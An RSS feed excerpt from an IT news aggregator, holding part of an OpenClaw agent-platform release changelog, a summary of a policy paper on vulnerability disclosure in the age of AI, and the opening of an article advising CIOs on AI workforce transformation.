<li>Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549263089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88043" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88043/hovercard" href="https://github.com/openclaw/openclaw/pull/88043">#88043</a>)</li>
<li>Code mode: add MCP API files and docs for code-mode integrations.</li>
<li>Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4395906736" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78748" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78748/hovercard" href="https://github.com/openclaw/openclaw/pull/78748">#78748</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</li>
<li>Control UI: add calmer chat composer controls, local draft typing state, and first-output latency instrumentation for active chat entry. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558851324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88772/hovercard" href="https://github.com/openclaw/openclaw/pull/88772">#88772</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561424737" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88998" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88998/hovercard" href="https://github.com/openclaw/openclaw/pull/88998">#88998</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Plugins: persist the plugin install index in SQLite so installed package lookup survives reloads with less filesystem scanning. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559074657" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88794/hovercard" href="https://github.com/openclaw/openclaw/pull/88794">#88794</a>)</li>
<li>Providers: add MiniMax M3 model support. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559735267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88860" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88860/hovercard" href="https://github.com/openclaw/openclaw/pull/88860">#88860</a>)</li>
<li>Doctor: add disk space health checks and stabilize post-upgrade JSON probes.</li>
<li>Channels: store inbound queues in SQLite and migrate iMessage monitor state to SQLite-backed tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559113281" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88797" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88797/hovercard" href="https://github.com/openclaw/openclaw/pull/88797">#88797</a>)</li>
<li>Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agents/TUI: keep local custom provider runs from loading plugin runtime and auth alias metadata when plugins are disabled.</li>
<li>Agents/TUI: restore in-flight TUI run switch-back behavior, keep no-policy native hook fallback available, guard vanished workspaces, and keep lightweight isolated subagents lightweight.</li>
<li>Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.</li>
<li>Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.</li>
<li>Agents/Codex: stream Codex app-server final-answer partials to live reply previews, preserve ACP metadata in SQLite, prefer real tool results over synthetic repair output, prevent aborted app-server turn handles from lingering, migrate legacy OpenAI Codex <code>lastGood</code> auth state, and preserve workspace/session metadata through ACP runtime refactors. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4555235950" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88405" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88405/hovercard" href="https://github.com/openclaw/openclaw/issues/88405">#88405</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558386594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88724" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88724/hovercard" href="https://github.com/openclaw/openclaw/pull/88724">#88724</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558459446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88730" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88730/hovercard" href="https://github.com/openclaw/openclaw/pull/88730">#88730</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when <code>skill_workshop</code> is available. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/auth: write auth profiles atomically, dispatch auth failures by type, add force re-login recovery, preserve workspaces during state-only uninstall, and compact before oversized turns so recovery paths avoid partial state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565425402" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89181" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89181/hovercard" href="https://github.com/openclaw/openclaw/pull/89181">#89181</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Skills: skip disabled skill env overrides from stale persisted snapshots so disabled skill <code>apiKey</code> SecretRefs cannot abort embedded or channel turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
<li>CLI: avoid live catalog validation during <code>openclaw agents add</code>, so adding a secondary agent no longer depends on provider catalog availability. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370229397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76284" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76284/hovercard" href="https://github.com/openclaw/openclaw/issues/76284">#76284</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554276259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88314" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88314/hovercard" href="https://github.com/openclaw/openclaw/pull/88314">#88314</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>CLI: keep <code>plugins list --json</code> on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.</li>
<li>CLI/desktop: bridge WSL clipboard operations through the shell, recognize manual-update launchd jobs, and keep machine-readable startup output parseable during progress setup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558805270" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88764/hovercard" href="https://github.com/openclaw/openclaw/pull/88764">#88764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558107169" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88689" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88689/hovercard" href="https://github.com/openclaw/openclaw/pull/88689">#88689</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexzhu0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexzhu0">@alexzhu0</a>.</li>
<li>Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.</li>
<li>Plugins: clarify plugin loader failure guidance so missing or incompatible plugin packages point operators at the right repair path.</li>
<li>Plugins: preserve npm plugin roots after blocked installs, skip plugin-local <code>openclaw</code> peer symlinks during rollback snapshots, relink those peers after restore, isolate cached tool runtime siblings, and isolate web-provider factory failures so one bad plugin does not poison sibling runtime paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375645088" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77237" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77237/hovercard" href="https://github.com/openclaw/openclaw/pull/77237">#77237</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559215204" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88807" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88807/hovercard" href="https://github.com/openclaw/openclaw/pull/88807">#88807</a>)</li>
<li>Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554018071" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88285/hovercard" href="https://github.com/openclaw/openclaw/pull/88285">#88285</a>)</li>
<li>Cron: keep update delivery validation scoped, harden restart state, and retire MCP runtimes on isolated cron cleanup.</li>
<li>Memory: serialize QMD update/embed writes per store, warn before gateway watcher FD pressure, reduce Linux watcher fan-out, retry transient FileProvider-backed reads, preserve phase signals on read errors, harden envelope metadata sanitization, and rewrite generated transcript paths on rollover so memory/search state survives concurrent gateway and CLI activity. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259457800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66339/hovercard" href="https://github.com/openclaw/openclaw/issues/66339">#66339</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510532697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85931" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85931/hovercard" href="https://github.com/openclaw/openclaw/pull/85931">#85931</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565501615" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89185" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89185/hovercard" href="https://github.com/openclaw/openclaw/pull/89185">#89185</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565570172" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89188" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89188/hovercard" href="https://github.com/openclaw/openclaw/pull/89188">#89188</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502554299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85351" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85351/hovercard" href="https://github.com/openclaw/openclaw/pull/85351">#85351</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amittell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amittell">@amittell</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.</li>
<li>Providers: resolve Google defaults to <code>google-generative-ai</code>, register Vertex static catalog rows, align Foundry reasoning metadata, skip DeepSeek V4 thinking params on Foundry fallback, use MiniMax account OAuth endpoints, preserve Copilot Claude 1M capabilities, suppress disabled Ollama reasoning output, keep OpenAI stop-finished tool calls, and avoid replay ids when the Responses store is disabled. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556082619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88480" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88480/hovercard" href="https://github.com/openclaw/openclaw/issues/88480">#88480</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556466505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88512" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88512/hovercard" href="https://github.com/openclaw/openclaw/pull/88512">#88512</a>)</li>
<li>Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.</li>
<li>Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.</li>
<li>Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.</li>
<li>Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>)</li>
<li>Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.</li>
<li>Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.</li>
<li>Release/CI/E2E: bound release candidate reads, beta smoke REST calls, plugin npm verification commands, changelog restore, cross-OS process groups, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Telegram credential timeouts, Control UI i18n and CLI startup metadata generation, Vitest routing, dependency guard admin approvals, child workflow failure detection, docker package cleanup, and mainline test flakes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551354671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88127" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88127/hovercard" href="https://github.com/openclaw/openclaw/pull/88127">#88127</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551653681" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88137/hovercard" href="https://github.com/openclaw/openclaw/pull/88137">#88137</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552032597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88155" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88155/hovercard" href="https://github.com/openclaw/openclaw/pull/88155">#88155</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552192113" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88160/hovercard" href="https://github.com/openclaw/openclaw/pull/88160">#88160</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4560993509" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88966" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88966/hovercard" href="https://github.com/openclaw/openclaw/pull/88966">#88966</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Release/CI/E2E: keep Kitchen Sink live plugin MCP probes resolving source-checkout workspace packages and align the live gauntlet with current Kitchen Sink diagnostics.</li>
<li>Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.</li>
<li>Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.</li>
<li>Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.</li>
<li>Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.</li>
<li>Agents: accept hidden <code>sessions_send</code> body aliases before validation while keeping the model-facing <code>message</code> schema canonical. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553200827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88229" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88229/hovercard" href="https://github.com/openclaw/openclaw/pull/88229">#88229</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Chat/UI: preserve startup chat sends during history loading, unblock the initial Control UI chat send, stream chat deltas incrementally, skip markdown parsing while streaming, keep drafts local while typing, guard composer rerenders, honor Chromium executable overrides, and detect system Chromium for E2E. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561424737" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88998" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88998/hovercard" href="https://github.com/openclaw/openclaw/pull/88998">#88998</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Channels: preserve long Feishu streaming replies, send visible fallbacks when accepted Feishu turns produce no final reply, tolerate iMessage self-chat timestamp skew, preserve colon-prefixed slash commands in mention parsing, decode Nostr <code>npub</code> allowlists correctly, and suppress raw provider errors during channel delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4545822590" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87896" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87896/hovercard" href="https://github.com/openclaw/openclaw/pull/87896">#87896</a>)</li>
<li>Config/status/doctor: skip unresolved shell references in state-dir dotenv files, resolve gateway auth secrets during deep status audits, respect explicit PI runtime policy, report runtime tool-schema errors, and keep post-upgrade JSON stable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554055557" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88288/hovercard" href="https://github.com/openclaw/openclaw/pull/88288">#88288</a>)</li>
<li>Gateway/session state: list commands from the Gateway plugin registry, harden MCP loopback tool schemas, hide phantom agent-store rows from <code>sessions.list</code>, make task persistence failures explicit, and carry session UUIDs on interactive dispatch events.</li>
<li>OpenAI/TTS: handle speed directives for OpenAI TTS voices. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348062227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74089" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74089/hovercard" href="https://github.com/openclaw/openclaw/pull/74089">#74089</a>)</li>
<li>CI/Crabbox: keep default runner capacity on the Azure credit-backed on-demand D4 lane with the Azure SSH port and a Git-independent full check job, so broad validation avoids low-priority spot quota stalls, hydrate port mismatches, non-Git hydrated workspaces, and stale AWS region hints.</li>
<li>CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.</li>
<li>CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.</li>
<li>CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.</li>
<li>CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.</li>
<li>CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.</li>
<li>CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.</li>
<li>CI/tooling: route script edits through conventional owner tests when matching <code>test/scripts</code> or <code>src/scripts</code> coverage already exists.</li>
<li>CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.</li>
<li>Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.</li>
<li>Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.</li>
<li>Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.</li>
<li>Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.</li>
<li>Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.</li>
<li>Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.</li>
<li>Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vulnerability Disclosure in the Age of AI]]></title>
<description><![CDATA[New article: “Responsible Disclosure in the Age of AI: A Call for Urgent Action,” by Melissa Hathaway.
Abstract: Artificial intelligence is fundamentally reshaping the balance between vulnerability discovery and remediation. Frontier AI models are now capable of autonomously identifying exploitab...]]></description>
<link>https://tsecurity.de/de/3563796/it-security-nachrichten/vulnerability-disclosure-in-the-age-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3563796/it-security-nachrichten/vulnerability-disclosure-in-the-age-of-ai/</guid>
<pubDate>Mon, 01 Jun 2026 18:53:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New article: “<a href="https://cyberdefensereview.army.mil/Portals/6/Documents/2026-vol11-iss2/CDR_V11_N2_Hathaway.pdf">Responsible Disclosure in the Age of AI: A Call for Urgent Action</a>,” by Melissa Hathaway.</p>
<blockquote><p><b>Abstract:</b> Artificial intelligence is fundamentally reshaping the balance between vulnerability discovery and remediation. Frontier AI models are now capable of autonomously identifying exploitable software vulnerabilities at unprecedented speed and scale. This development exposes decades of accumulated technical debt created by a software industry that prioritized rapid deployment over secure-by-design engineering practices. Drawing on the evolution of software assurance, vulnerability disclosure frameworks, and U.S. cyber policy, this perspective argues that the current moment represents a strategic inflection point for governments, industry, and critical infrastructure operators. The author examines the growing tension between offensive and defensive equities in cyberspace, the emergence of AI-enabled vulnerability discovery capabilities in both the U.S. and China, and the increasing risks posed by unsupported legacy systems and AI-assisted code generation practices. Responsible disclosure can no longer remain a reactive or fragmented process, but must become a coordinated national and international resilience effort involving governments, software vendors, infrastructure operators, and emergency response organizations. The article concludes with an urgent call for accelerated remediation, large-scale patch management coordination, and sustained investment in automated vulnerability repair capabilities before adversaries exploit this rapidly narrowing window of opportunity...</p></blockquote>]]></content:encoded>
</item>
<item>
<title><![CDATA[4 recs for CIOs to stay on the human side of AI transformation]]></title>
<description><![CDATA[It’s been recently reported that up to 27 million corporate roles across the Global 2000 are meaningfully exposed to AI-driven elimination, displacement, or fundamental redesign over the next three years. According to the report, however, most organizations sitting on top of these exposures have ...]]></description>
<link>https://tsecurity.de/de/3562635/it-nachrichten/4-recs-for-cios-to-stay-on-the-human-side-of-ai-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3562635/it-nachrichten/4-recs-for-cios-to-stay-on-the-human-side-of-ai-transformation/</guid>
<pubDate>Mon, 01 Jun 2026 12:17:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>It’s been <a href="https://www.horsesforsources.com/over-27-million-jobs-are-exposed_051726/" rel="nofollow">recently reported</a> that up to 27 million corporate roles across the Global 2000 are meaningfully exposed to AI-driven elimination, displacement, or fundamental redesign over the next three years. According to the report, however, most organizations sitting on top of these exposures have no coherent plan for what they’re doing with AI, let alone what happens to the people in its crosshairs.</p>



<p>While few would argue that bringing AI into the enterprise is the right move, blindly following the pack and eliminating jobs to look good to Wall Street can have disastrous results. A better move is to be bold, fast and responsible, an approach that’s guided organizations like KPMG in their own AI transformations. </p>



<p>To push back against the herd mentality and set up your organization for success in the long-term, here are four recommendations for CIOs to navigate the shifting AI and human workforce landscape.</p>



<h2 class="wp-block-heading">Follow your strategy, not the market</h2>



<p>Over the past decade or more, firms often used the excuse of being in a multi-year digital transformation journey to explain missed earnings and declining revenues. Today, AI transformation is being utilized to similar effect with a surge of 6,550% year-over-year mentions of AI agents in SEC filings. Here’s why cutting jobs without a plan can backfire.</p>



